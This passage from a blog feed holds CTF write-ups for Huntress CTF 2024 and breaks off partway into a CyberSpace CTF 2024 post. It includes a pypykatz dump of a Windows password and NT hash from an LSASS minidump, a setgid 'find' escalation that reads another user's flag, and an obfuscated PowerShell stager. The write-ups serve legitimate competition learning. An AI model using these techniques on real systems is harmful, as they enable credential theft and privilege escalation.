<hr>
<h3 id="unbelievable">Unbelievable</h3>
<p>Don&rsquo;t believe everything you see on the Internet!</p>
<p>Anyway, have you heard this intro soundtrack from Half-Life 3?</p>
<p>Attachments: <a href="/huntress24/warmups/Half-Life_3_OST.mp3">Half-Life_3_OST.mp3</a></p>
<p>The first thing I saw was the preview image for the song track was a white image with some text, saying <code>flag{.....</code>.</p>
<p>Using <a href="https://cyberchef.org/#recipe=Render_Image('Raw')Optical_Character_Recognition(true)">CyberChef</a>'s Render Image &amp; Optical Character Recognition features in a recipe, and input the mp3 file, we can extract the flag.</p>
<p>Output:</p>
<p><img src="/huntress24/warmups/Half-Life_3_OST.png" alt="Half-Life_3_OST.png"></p>
<p>and</p>
<pre tabindex="0"><code>Confidence: 46%

flag{a85466991f0a8dc3d9837a5c32fa0c91}
</code></pre><p>Flag: <code>flag{a85466991f0a8dc3d9837a5c32fa0c91}</code></p>
<hr>
<h3 id="malibu">Malibu</h3>
<p>What do you bring to the beach?</p>
<p>Connect with: <code>nc challenge.ctf.games 30860</code></p>
<p>If we open the subdomain and port in a webbrowser we get the following:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-xml" data-lang="xml"><span class="line"><span class="cl"><span class="cp">&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span>
</span></span><span class="line"><span class="cl"><span class="nt">&lt;Error&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;Code&gt;</span>AccessDenied<span class="nt">&lt;/Code&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;Message&gt;</span>Access Denied.<span class="nt">&lt;/Message&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;Resource&gt;</span>/<span class="nt">&lt;/Resource&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;RequestId&gt;</span>17FBD57923D42426<span class="nt">&lt;/RequestId&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="nt">&lt;HostId&gt;</span>dd9025bab4ad464b049177c95eb6ebf374d3b3fd1af9251148b658df7ac2e3e8<span class="nt">&lt;/HostId&gt;</span>
</span></span><span class="line"><span class="cl"><span class="nt">&lt;/Error&gt;</span>
</span></span></code></pre></div><p>Now this looks like a object storage server, looking at the Server header, we see that it is a <code>Server: MinIO</code> server.</p>
<p>Downloading the <a href="https://min.io/docs/minio/linux/reference/minio-mc.html">MinIO Client</a>, we can run the following command: <code>mc alias set myminio http://challenge.ctf.games:30860</code></p>
<p>Now back to the question: What do you bring to the beach? - A <strong>bucket</strong> ofc.</p>
<p>Now using the MinIO client, we can download all the files in the bucket:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">mkdir -p ./bucket
</span></span><span class="line"><span class="cl">mc cp --recursive myminio/bucket/ ./bucket/
</span></span><span class="line"><span class="cl">grep -r <span class="s2">&#34;flag{&#34;</span> ./bucket/
</span></span></code></pre></div><p>Returns:
<code>./bucket/0XMGjs59/NYdFEiGV/ZX64Llnw/1li1bQeT2JK5hgOD:hCd9adcRPndaCWVe6bLIDNrYEH8wpXYa65XdLNyq3XD6CPsnAaavGnePHKAxfPBMZaYBYFVWQ6b6UzWqiD8LTqU6TEPTR9GkF5HtvrVFW2QsY9ddLDPj5THZYtLjv2dt0iYEZqonP0vdOteR8ivAPb1cWDhdjZSnrzoiMkACPAxHiMGxqrhc7y7VVSqxFeQpTlt7lDGJ4qIN20bXjH8Dd9IhvsSyATOzwilL9bQmwpekFLkJt8CFeRYhFIOhYAmhswuwP9tqBl8DvnMeUt03Uv5dLZpLyGzWuTXzEqOAPbgB9DO5AfOgQMqmfqhRKUJjp5nGJNiGF9Va5iSHWEuQgXHhqphTjFJ2UYzNzLqSTkZZz9TRNX0JEbUU5AmvUKV2PuYTnUPhRHJQO7p4rUprbfxaGp9FG4sjb17VtCGuBxYOHjbBWULbObRp8CGa0lrcC7x7ryrFtWVS5KrnxPeGxmKUXx24xwzzEScnwEBzvW5ZimiJDWMLQIYUhs3TSJ1nfGA5pIT4ren12xYCRKJHYTDk4ahkdGHflag{800e6603e86fe0a68875d3335e0daf81}dEcForVzAkJqgMnGR97Re2ZHrSRoOwIXVVem8F5PvSGS5ATuuDngCTh6IhokbUN8Jkkf9kSrCeUgRd5p7650rCSEW8wNhczUcZt2qWfUhnlypNNm59fardN9vwRzw4YEO01bF8UJr346POWnpYkxrBgHJl53S9UygSKdGybQWUVsUIfgsMPouUgYdlavbHUONaYUYEjg3yiPOP91oceCcvq49G2VHzO9aQawz0WLboszptXYPDYEQDHuFl5l9gDD1uUmEYMFFA0gUa5UsLBp0cNkCuyQKIuEFKJyTPTGiduv8t9ZTZm6MRkjP5LL0Ke6YU8lb5M70AcAUVIEDvzYdRHKtTMMKvZplo1CxvpNHwCxsIvjNqJnvLabPYDxwELiI9Cr6lvT9djcFKfZ6DFcOLb9JXMibnGE8JKmC0jPgYzxjVz81LyU8aYNIWgwgeg25PfOyDatJxGcgUCY20W7gHXfT0wQxdpN8TkTjAGpX2mlf9irP1wngMkiXUzCugNhYz1IZj8n8q6qLvagnvCP2VnRp6XbJBo9A2Bt1IUqfeGMTuJKKcUli0w7PAo9XMq0rw1xFGk8N2Le9W2AsJFKTGKd7dhSTPTcSihM8K06FYh3EMtjwZVZoK0mxg2cGlbHWZzHXZjMkBiJmL5r9CjXizonCzetfyWEhGbFQASYH83SQpGebQnFm8oFlEtffkRWv9wrtBW2exlIkxwrIiE5zU75a6rAsN8gaSsBfGbQnK1GmtEP2RaI9k9N9wVFiS2IgRmUcdno0BVAzhL6LCFwvjTGNyOld3xSPE0X9hCxJ8CYMknrwq5Wr1ciNi72Om</code></p>
<p>Flag: <code>flag{800e6603e86fe0a68875d3335e0daf81}</code></p>
<hr>
<h3 id="txt-message">TXT Message</h3>
<p>Hmmm, have you seen some of the strange DNS records for the ctf.games domain? One of them sure is odd&hellip;</p>
<p>Using nslookup we can see that the TXT record for the domain is:</p>
<pre tabindex="0"><code>halfdan@desktop:~$ nslookup
&gt; set type=txt
&gt; ctf.games
Server:		127.0.0.53
Address:	127.0.0.53#53

Non-authoritative answer:
ctf.games	text = &#34;146 154 141 147 173 061 064 145 060 067 062 146 067 060 065 144 064 065 070 070 062 064 060 061 144 061 064 061 143 065 066 062 146 144 143 060 142 175&#34;

Authoritative answers can be found from:
&gt; ^D
</code></pre><p>Now we have a list of numbers to work with, but we need to convert them to ASCII characters. Opening <a href="https://cyberchef.org/#recipe=From_Octal('Space')">CyberChef</a> and adding <code>From Octal</code> to the recipe, we get: <code>flag{14e072f705d45882401d141c562fdc0b}</code></p>
<p>Flag: <code>flag{14e072f705d45882401d141c562fdc0b}</code></p>
<hr>
<h3 id="discount-programming-devices">Discount Programming Devices</h3>
<p>I used a tool on the internet to obfuscate my script!
But I lost it, and I don&rsquo;t know how to get it back.
Maybe you can help?</p>
<p>Attachments: <a href="/huntress24/malware/oops.py">oops.py</a></p>
<p>For this challange I found a Stackoverflow page that had a simple &ldquo;monkey-patching&rdquo; technique. <a href="https://stackoverflow.com/questions/79060567/how-to-decode-zlib-base64-python">Here</a>. Since the post was asked the day I found it, I think it was for the Huntress CTF.</p>
<p>Here is the solution: <a href="/huntress24/malware/oops-solve.py">oops-solve.py</a></p>
<p>Flag: <code>flag{2543ff1e714bC2eb9ff78128232785ad}</code></p>
<hr>
<h3 id="mimi">Mimi</h3>
<p>Uh oh! Mimi forgot her password for her Windows laptop!</p>
<p>Luckily, she dumped one of the crucial processes running on her computer (don&rsquo;t ask me why, okay)&hellip; can you help her recover her password?</p>
<p><strong>NOTE: Archive password is <code>mimi</code></strong></p>
<p>Attachments: <a href="/huntress24/warmups/mimi.7z">mimi.7z</a></p>
<p>For this challange I started by running <code>file mimi</code>. Great! This is a <code>Mini DuMP crash report</code>. Using <a href="https://github.com/skelsec/pypykatz">pypykatz</a> we can now run: <code>pypykatz lsa minidump mimi | grep &quot;flag{&quot;</code>, this returns:</p>
<pre tabindex="0"><code>NFO:pypykatz:Parsing file mimi
		password flag{7a565a86761a2b89524bf7bb0d19bcea}
		password flag{7a565a86761a2b89524bf7bb0d19bcea}
		password flag{7a565a86761a2b89524bf7bb0d19bcea}
		password flag{7a565a86761a2b89524bf7bb0d19bcea}
</code></pre><p>If we did not grep, we could find the flag/password under a LoginSession like this:</p>
<pre tabindex="0"><code>== LogonSession ==
authentication_id 709744 (ad470)
session_id 1
username mimi
domainname windows11
logon_server WINDOWS11
logon_time 2024-09-10T02:32:50.802254+00:00
sid S-1-5-21-940291183-874774319-2012240919-1002
luid 709744
	== MSV ==
		Username: mimi
		Domain: windows11
		LM: NA
		NT: 5e088b316cc30d7b2d0158cb4bd9497c
		SHA1: c1bd67cf651fdbcf27fd155f488721f52fff64fa
		DPAPI: c1bd67cf651fdbcf27fd155f488721f52fff64fa
	== WDIGEST [ad470]==
		username mimi
		domainname windows11
		password flag{7a565a86761a2b89524bf7bb0d19bcea}
		password (hex)66006c00610067007b00370061003500360035006100380036003700360031006100320062003800390035003200340062006600370062006200300064003100390062006300650061007d0000000000
</code></pre><p>Flag: <code>flag{7a565a86761a2b89524bf7bb0d19bcea}</code></p>
<hr>
<h3 id="mystery">Mystery</h3>
<p>Someone sent this to me&hellip;
such enigma, such mystery:</p>
<p><code>rkenr wozec gtrfl obbur bfgma fkgyq ctkvq zeucz hlvwx yyzat zbvns kgyyd sthmi vsifc ovexl zzdqv slyir nwqoj igxuu kdqgr fdbbd njppc mujyy wwcoy</code></p>
<p><strong>Settings as below:</strong></p>
<ul>
<li>3 Rotor Model</li>
<li>Rotor 1: VI, Initial: A, Ring A</li>
<li>Rotor 2: I, Initial: Q, Ring A</li>
<li>Rotor 3: III, Initial L, Ring A</li>
<li>Reflector: UKW B</li>
<li>Plugboard: <code>BQ CR DI EJ KW MT OS PX UZ GH</code></li>
</ul>
<p>I quickly spottet that this was enigma machine code and using <a href="https://pypi.org/project/py-enigma/">py-enigma</a> we can write a simple python script to decode the ciphertext.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">enigma.machine</span> <span class="kn">import</span> <span class="n">EnigmaMachine</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Define the Enigma settings</span>
</span></span><span class="line"><span class="cl"><span class="n">machine</span> <span class="o">=</span> <span class="n">EnigmaMachine</span><span class="o">.</span><span class="n">from_key_sheet</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">rotors</span><span class="o">=</span><span class="s1">&#39;VI I III&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">reflector</span><span class="o">=</span><span class="s1">&#39;B&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">ring_settings</span><span class="o">=</span><span class="s1">&#39;01 01 01&#39;</span><span class="p">,</span>  <span class="c1"># Ring A means 01</span>
</span></span><span class="line"><span class="cl">    <span class="n">plugboard_settings</span><span class="o">=</span><span class="s1">&#39;BQ CR DI EJ KW MT OS PX UZ GH&#39;</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># Set rotor positions</span>
</span></span><span class="line"><span class="cl"><span class="n">machine</span><span class="o">.</span><span class="n">set_display</span><span class="p">(</span><span class="s1">&#39;AQL&#39;</span><span class="p">)</span>  <span class="c1"># Rotor 1: A, Rotor 2: Q, Rotor 3: L</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">ciphertext</span> <span class="o">=</span> <span class="s2">&#34;rkenr wozec gtrfl obbur bfgma fkgyq ctkvq zeucz hlvwx yyzat zbvns kgyyd sthmi vsifc ovexl zzdqv slyir nwqoj igxuu kdqgr fdbbd njppc mujyy wwcoy&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">plaintext</span> <span class="o">=</span> <span class="n">machine</span><span class="o">.</span><span class="n">process_text</span><span class="p">(</span><span class="n">ciphertext</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="s1">&#39; &#39;</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">upper</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">plaintext</span><span class="o">.</span><span class="n">lower</span><span class="p">())</span>
</span></span></code></pre></div><p>This leaves us with: <code>messagewrappedinlighthiddendeeperoutofsightlockingitmoretightanywayyourflagishereflagfdfeabcacbebfbadaefbeccaadddbafezzz</code></p>
<p>Adding some spaces and we get: <code>message wrapped in light hidden deeper out of sight locking it more tight anyway your flag is here flagfdfeabcacbebfbadaefbeccaadddbafezzz</code></p>
<p>Flag: <code>flag{fdfeabcacbebfbadaefbeccaadddbafe}</code></p>
<hr>
<h3 id="ran-somewhere">Ran Somewhere</h3>
<p>Thanks for joining the help desk! Here&rsquo;s your first ticket of the day; can you help the client out?</p>
<p><strong>NOTE, this challenge uses a non-standard flag format. Enter the human-readable name of the location.</strong></p>
<p>Attachments: <a href="/huntress24/osint/ran_somewhere.eml">ran_somewhere.eml</a></p>
<p>Opening the email, we can extract 2 images from base64:</p>
<p><img src="/huntress24/osint/RanSomewhere1.jpeg" alt="Image 1"></p>
<p>and</p>
<p><img src="/huntress24/osint/RanSomewhere2.jpg" alt="Image 2"></p>
<p>Now using <a href="https://geospy.web.app/">https://geospy.web.app/</a> we can narrow down the location of the image, and using Google Lens I found this image:</p>
<p><a href="https://www.tripadvisor.com/Attraction_Review-g40997-d23758274-Reviews-Frederick_Ward_Park-Bel_Air_Maryland.html#/media-atf/23758274/686968240:p/?albumid=-160&amp;type=0&amp;category=-160">This maches the second image</a></p>
<p><a href="https://www.tripadvisor.com/Attraction_Review-g40997-d23758274-Reviews-Frederick_Ward_Park-Bel_Air_Maryland.html#/media-atf/23758274/560717635:p/?albumid=-160&amp;type=0&amp;category=-160">This has the flag in it</a></p>
<p>Flag: <code>flag{Bel Air Armory}</code></p>
<hr>
<h3 id="i-cant-ssh">I Can&rsquo;t SSH</h3>
<p>I&rsquo;ve got this private key&hellip; but why can&rsquo;t I SSH?</p>
<p>Attachments: <a href="/huntress24/warmups/id_rsa">id_rsa</a></p>
<p>So I belive that there is some sort of invalid characters in the private key, making it corupted.</p>
<p>I solved this challenge using <code>nano id_rsa</code> and appending some random text at the end of the file. Then using nano I removed the same random text from the end of the file. Now change the permissions of the file to 600 using <code>chmod 600 id_rsa</code>.</p>
<p>Now using <code>ssh -p xxxxx -i id_rsa user@challenge.ctf.games</code> I can ssh into the server.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">user@i-cant-ssh-fa043244a39c509c-f7d49469-xdvvf:~$ cat flag.txt 
</span></span><span class="line"><span class="cl">flag<span class="o">{</span>ee1f28722ec1ce1542aa1b486dbb1361<span class="o">}</span>user@i-cant-ssh-fa043244a39c509c-f7d49469-xdvvf:~$ <span class="nb">logout</span>
</span></span><span class="line"><span class="cl">Connection to challenge.ctf.games closed.
</span></span></code></pre></div><hr>
<h3 id="finders-fee">Finders Fee</h3>
<p>You gotta make sure the people who find stuff for you are rewarded well!</p>
<p>Using <code>find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2&gt; /dev/null</code> we can find all files with setuid and setgid permissions. One of them is <code>/usr/bin/find</code> with the following permissions:</p>
<pre tabindex="0"><code>-rwxr-sr-x 1 root finder 204264 Apr  8  2024 /usr/bin/find
</code></pre><p>Now using <code>/usr/bin/find /home/finder -exec ls -al {} \;</code>, we can do this because we inherit the group permissions of the file&rsquo;s group owner, which is <code>finder</code>.</p>
<pre tabindex="0"><code>user@finders-fee-7e29946e5d28904e-85d9694cbd-zhfrw:/home$ /usr/bin/find /home/finder -exec ls -al {} \;
total 28
drwxr-x--- 1 finder finder 4096 Oct  7 18:52 .
drwxr-xr-x 1 root   root   4096 Oct  7 18:52 ..
-rw-r--r-- 1 finder finder  220 Mar 31  2024 .bash_logout
-rw-r--r-- 1 finder finder 3771 Mar 31  2024 .bashrc
-rw-r--r-- 1 finder finder  807 Mar 31  2024 .profile
-rw-r----- 1 finder finder   39 Oct  7 18:52 flag.txt
-rw-r--r-- 1 finder finder 807 Mar 31  2024 /home/finder/.profile
-rw-r--r-- 1 finder finder 220 Mar 31  2024 /home/finder/.bash_logout
-rw-r--r-- 1 finder finder 3771 Mar 31  2024 /home/finder/.bashrc
-rw-r----- 1 finder finder 39 Oct  7 18:52 /home/finder/flag.txt
</code></pre><p>Now with the same command we can cat the <code>/home/finder/flag.txt</code> file. <code>/usr/bin/find /home/finder -exec cat /home/finder/flag.txt \;</code> will give us the flag.</p>
<p>Flag: <code>flag{5da1de289823cfc200adf91d6536d914}</code></p>
<hr>
<h3 id="zulu">Zulu</h3>
<p>Did you know that zulu is part of the phonetic alphabet?</p>
<p>Attachments: <a href="/huntress24/warmups/zulu">zulu</a></p>
<p>I solved this challange by opening the zulu file with my archiving tool Ark.</p>
<p><img src="/huntress24/warmups/zulu1.png" alt="Zulu Ark 1">
<img src="/huntress24/warmups/zulu2.png" alt="Zulu Ark 2">
<img src="/huntress24/warmups/zulu3.png" alt="Zulu Ark 3"></p>
<p>Flag: <code>flag{74235a9216ee609538022e6689b4de5c}</code></p>
<hr>
<h3 id="linux-basics">Linux Basics</h3>
<p>Welcome to Linux Basics!</p>
<p>You&rsquo;re expected to answer a series of questions to get the flag.
To view the questions, and answer them, you&rsquo;ll use the answer tool.
Display questions: answer
Answer a question: answer x where x is question number.</p>
<p><strong>Questions:</strong></p>
<ul>
<li>What&rsquo;s your home directory? <strong><code> pwd</code>: /home/user</strong></li>
<li>Search the man pages. What command would you use to generate random permutations? <strong>You can use the <code>shuf</code> command to generate random permutations in Linux.</strong></li>
<li>On what day was /home/user/myfile.txt modified? Use the date format 2019-12-31 <strong><code>ls -al</code>: Aug 29  1997 - <code>1997-08-29</code></strong></li>
<li>How big is /home/user/myfile.txt, in kilobytes? Round to the nearest whole number. <strong>22200 bytes, <code>22200/1000</code> = 22.2, nearest whole number is 22.</strong></li>
<li>What user owns the file /home/user/myfile.txt <strong>root</strong></li>
<li>What&rsquo;s the 3-digit octal permissions of the file /home/user/myfile.txt? (e.g 777) <strong>Inputing <code>-rwxr-xr--</code> into <a href="https://chmod-calculator.com/">https://chmod-calculator.com/</a> we get <code>754</code></strong></li>
<li>What is the user id of &lsquo;admin&rsquo;? <strong>Using <code>id</code> we can get groups=1338(admin)</strong></li>
<li>There is a user &lsquo;john&rsquo; on the system. Can they write to /home/user/myfile.txt? (yes/no) <strong>No, because only the owner can write</strong></li>
<li>Can the &lsquo;admin&rsquo; user execute /home/user/myfile.txt? (yes/no) <strong>Yes, because Group is admin and the permissions for Group is Read and Execute.</strong></li>
<li>Which user on the system, except for you, root, admin and john, can execute /home/user/myfile.txt? <strong>Looking in <code>/etc/group</code> we can see <code>admin:x:1338:user,john,rose</code> therefore <code>rose</code> is the answer.</strong></li>
<li>/home/user/myfile.txt looks like a txt file, but it actually isn&rsquo;t. What kind of file is it? <strong>Running <code>file myfile.txt</code> we get: <code>myfile.txt: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 807x114, components 3</code> therefore the answer is <code>jpeg</code>.</strong></li>
</ul>
<p>Flag: <code>flag{8873fe66f8e7a6019d7d71261864f6c5}</code></p>
<hr>
<h3 id="keyboard-junkie">Keyboard Junkie</h3>
<p>My friend wouldn&rsquo;t shut up about his new keyboard, so&hellip;</p>
<p>Attachments: <a href="/huntress24/forensics/keyboard_junkie">keyboard_junkie</a></p>
<p>Using Nissens <a href="https://github.com/Nissen96/USB-HID-decoders">USB-HID-decoders</a> we can parse our <code>keyboard_junkie</code> file using <code>./extract_hid_data.sh keyboard_junkie</code> we get <code>usbdata-1.9.1.txt</code> now using <code>python3 keyboard_decode.py usbdata-1.9.1.txt</code> we get: <code>so the answer is flag{f7733e0093b7d281dd0a30fcf34a9634} hahahah lol &lt;Ctrl+c&gt;</code>.</p>
<p>Flag: <code>flag{f7733e0093b7d281dd0a30fcf34a9634}</code></p>
<hr>
<h3 id="obfuscation-station">Obfuscation Station</h3>
<p>You&rsquo;ve reached the Obfuscation Station!
Can you decode this PowerShell to find the flag?</p>
<p><strong>Archive password: <code>infected-station</code></strong></p>
<p>Attachments: <a href="/huntress24/forensics/Challenge-Obfuscation_Station.zip">Challenge.zip</a></p>
<p>After exxtracting we get a <code>chal.ps1</code> file containing:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="p">(</span><span class="nb">nEW-objECt</span>  <span class="n">SYstem</span><span class="p">.</span><span class="py">iO</span><span class="p">.</span><span class="py">COMPreSsIon</span><span class="p">.</span><span class="py">deFlaTEStREAm</span><span class="p">(</span> <span class="p">[</span><span class="no">IO.mEmORYstreAM][coNVERt</span><span class="p">]::</span><span class="n">FROMBAse64sTRING</span><span class="p">(</span> <span class="s1">&#39;UzF19/UJV7BVUErLSUyvNk5NMTM3TU0zMDYxNjSxNDcyNjexTDY2SUu0NDRITDWpVQIA&#39;</span><span class="p">)</span> <span class="p">,[</span><span class="no">io.COmPREssioN.coMpreSSioNmODE</span><span class="p">]::</span><span class="n">DeCoMpReSS</span><span class="p">)|</span> <span class="p">%{</span> <span class="nb">nEW-objECt</span>  <span class="n">sYStEm</span><span class="p">.</span><span class="py">Io</span><span class="p">.</span><span class="py">StREAMrEADeR</span><span class="p">(</span><span class="nv">$_</span><span class="p">,[</span><span class="no">TeXT.encodiNG</span><span class="p">]::</span><span class="n">AsCii</span><span class="p">)}</span> <span class="p">|%{</span> <span class="nv">$_</span><span class="p">.</span><span class="py">READTOENd</span><span class="p">()})|</span> <span class="p">&amp;</span> <span class="p">(</span> <span class="nv">$eNV:cOmSPEc</span><span class="p">[</span><span class="mf">4</span><span class="p">,</span><span class="mf">15</span><span class="p">,</span><span class="mf">25</span><span class="p">]</span><span class="n">-JOin</span><span class="s1">&#39;&#39;</span><span class="p">)</span>
</span></span></code></pre></div><p>By simply removing: <code>| &amp; ( $eNV:cOmSPEc[4,15,25]-JOin'')</code> from the end and running this in a powershell terminal we get the flag: <code>$5GMLW = &quot;flag{3ed675ef0343149723749c34fa910ae4}&quot;</code>.</p>
<p>Flag: <code>flag{3ed675ef0343149723749c34fa910ae4}</code></p>
<hr>
<h3 id="strive-marish-leadman-typecdr">Strive Marish Leadman TypeCDR</h3>
<p>Looks like <a href="https://www.ntietz.com/blog/rsa-deceptively-simple/">primo hex garbage</a>.
Maybe something went wrong?
Can you make sense of it?</p>
<p>Connecting to the remote we get a response of:</p>
<pre tabindex="0"><code>p: 0xfb16f781d0c262632842e0fc0f0ae25d7d0cf7e993c1ec39029c624c11e916762d37cbb84b6a10a64524b8f3164b9349db50720f0e4fc09968a455b69a66ec97
q: 0xf1b09e62d8fd1c844b1500d8ca3b4c5fcd37ad7eb26353db39fdc0deae15d299a4bfb88e8ff1503caa4061f3d74592cd300018f77c2d8ce88bbd97554d8b3e83
d: 0x1225a25272ed70c976c2783d28a35ec56bf210672c2f0a47da71cdc424eed45b8b324e01a1495373d75feb3b9c6ef4a0e574441f874255547bc6f698961e1c388d07633d67645fbc4880a2a344885d2d20ea54eb461561e001869ce2ed63c885247fc56d2cdedd0232e3bd0f0c2c1f0962c1c0a107585d40ec54f4f65b18164d
e: 0x10001
n: 0xed0dda247f27054d4832f9b46c68449ebaa0f4950700618197e36f97a2abd2327e557ad1464ff1f9eb4560435684d33e005d8fa10f25d73870d7a8361fe0476056327ff0f1125e892a6c1886e3900dda3a10b153d0006834a8b533d4462e42267a18459d0e488b23bbcdcf10d52247629a9aa73b6732fcd971a58004d0f4a345

0x6308e74fbbcfad20bc62e9a502d4c2986d132cc74e911e2d6e04c9fd90de9125bb333e1be3878e2be47e86f8fb381c2e494b60cf9841f37c04ae7955170881b748741d82682ed07808ff162b58b469a24d93bcb22df92996b685cee463148023680795375964b96b16695ce6122244b9b8c8624f40528a14ffce883960c6a9f0
</code></pre><p>Using some python we can decrypt this RSA.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.PublicKey</span> <span class="kn">import</span> <span class="n">RSA</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="mh">0xfe0540cdff634da414bc0743ead8bd66a0bb4c2f398b32d3326ca9a60768c7a1d51ecf419c11ebb095d9056bdd77f3bc3c00bb004410d00e2035f562ab6cfb71</span>
</span></span><span class="line"><span class="cl"><span class="n">q</span> <span class="o">=</span> <span class="mh">0xcfd8c6fb981ee3134ae3b1d14aeb26cb818cb2e9533499d765920f0d078e70be65ec006a61dd488c8c8b455b9968e2f3eb260f6605d37f8a373f755fe39fe6c3</span>
</span></span><span class="line"><span class="cl"><span class="n">d</span> <span class="o">=</span> <span class="mh">0x61287198862f1f52083e6bf61624592ef404d2ff787cb50a88a58744997d69a029130c6ba1c742224f92df1b396bf8cb6b61fef9331cf1bffc03fb2cf2362f4da4e8ca2a8e433a71708f153347b5b70a34be5f3f709261b1fb0f3293b640a90be75eaf3439045be19e455f492ed02b717114a49d4eb3086071c259d4bb43cac1</span>
</span></span><span class="line"><span class="cl"><span class="n">e</span> <span class="o">=</span> <span class="mh">0x10001</span>
</span></span><span class="line"><span class="cl"><span class="n">n</span> <span class="o">=</span> <span class="mh">0xce3d5946f588697b189060c0a6d9bc774fd90dc00cb4578e04cf4b1fdcfe04ebf90fc00aff1ca397cda108207117d0d4d5a40c196c5ba5d3921e026dcb63cbb37f9cfb6d6414cb69bcdc62302a7267f7ca8f23c6f0d450c61871b9ab38a8e82ebfb2e3dc8ce3a71cdd3267b8d6a8ce13f93b803cd2f961847e059fc0dc1a0d13</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">ciphertext</span> <span class="o">=</span> <span class="mh">0xa7583523c7577d0696bf053f0fa6f8c2cef9e0d6b8ac7c6a079f112276e2c609e15790366a654ea231ae057e48774458607a240cddaf2b017990ac6fe2af6376c7282875b89ad6944f69285ba6d5fb9e3056768a576e1b930ce5c793aa8d8d13e14d015a977f38fa75b6c354810f03abbff265f9899cd48ff4fb7b7dd061da59</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="n">RSA</span><span class="o">.</span><span class="n">construct</span><span class="p">((</span><span class="n">n</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">p</span><span class="p">,</span> <span class="n">q</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">long_to_bytes</span><span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">n</span><span class="p">))</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span></code></pre></div><p>Flag: <code>flag{cf614b15ac1dd461a2e48afdfe21b8e8}</code></p>
<hr>
]]></content></item><item><title>CyberSpace'24 : Writeups</title><link>https://ha1fdan.xyz/en/posts/cyberspace-24/</link><pubDate>Sat, 31 Aug 2024 00:00:00 +0000</pubDate><guid>https://ha1fdan.xyz/en/posts/cyberspace-24/</guid><description>&lt;h1 id="cyberspace-ctf-2024"&gt;CyberSpace CTF 2024&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;Team:&lt;/strong&gt; &lt;a href="https://2024.csc.tf/teams/879"&gt;WhatIsThis&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Total Score:&lt;/strong&gt; 351 points @ 262nd place&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;User Name&lt;/th&gt;
&lt;th&gt;Score&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;H4N5&lt;/td&gt;
&lt;td&gt;251&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ha1fdan&lt;/td&gt;
&lt;td&gt;100&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="solves"&gt;Solves:&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Challenge&lt;/th&gt;
&lt;th&gt;Category&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;User&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#sanity-check"&gt;Sanity Check&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;misc&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;H4N5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;key&lt;/td&gt;
&lt;td&gt;beginner&lt;/td&gt;
&lt;td&gt;50&lt;/td&gt;
&lt;td&gt;H4N5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="#baby-pybash"&gt;Baby Pybash&lt;/a&gt;&lt;/td&gt;
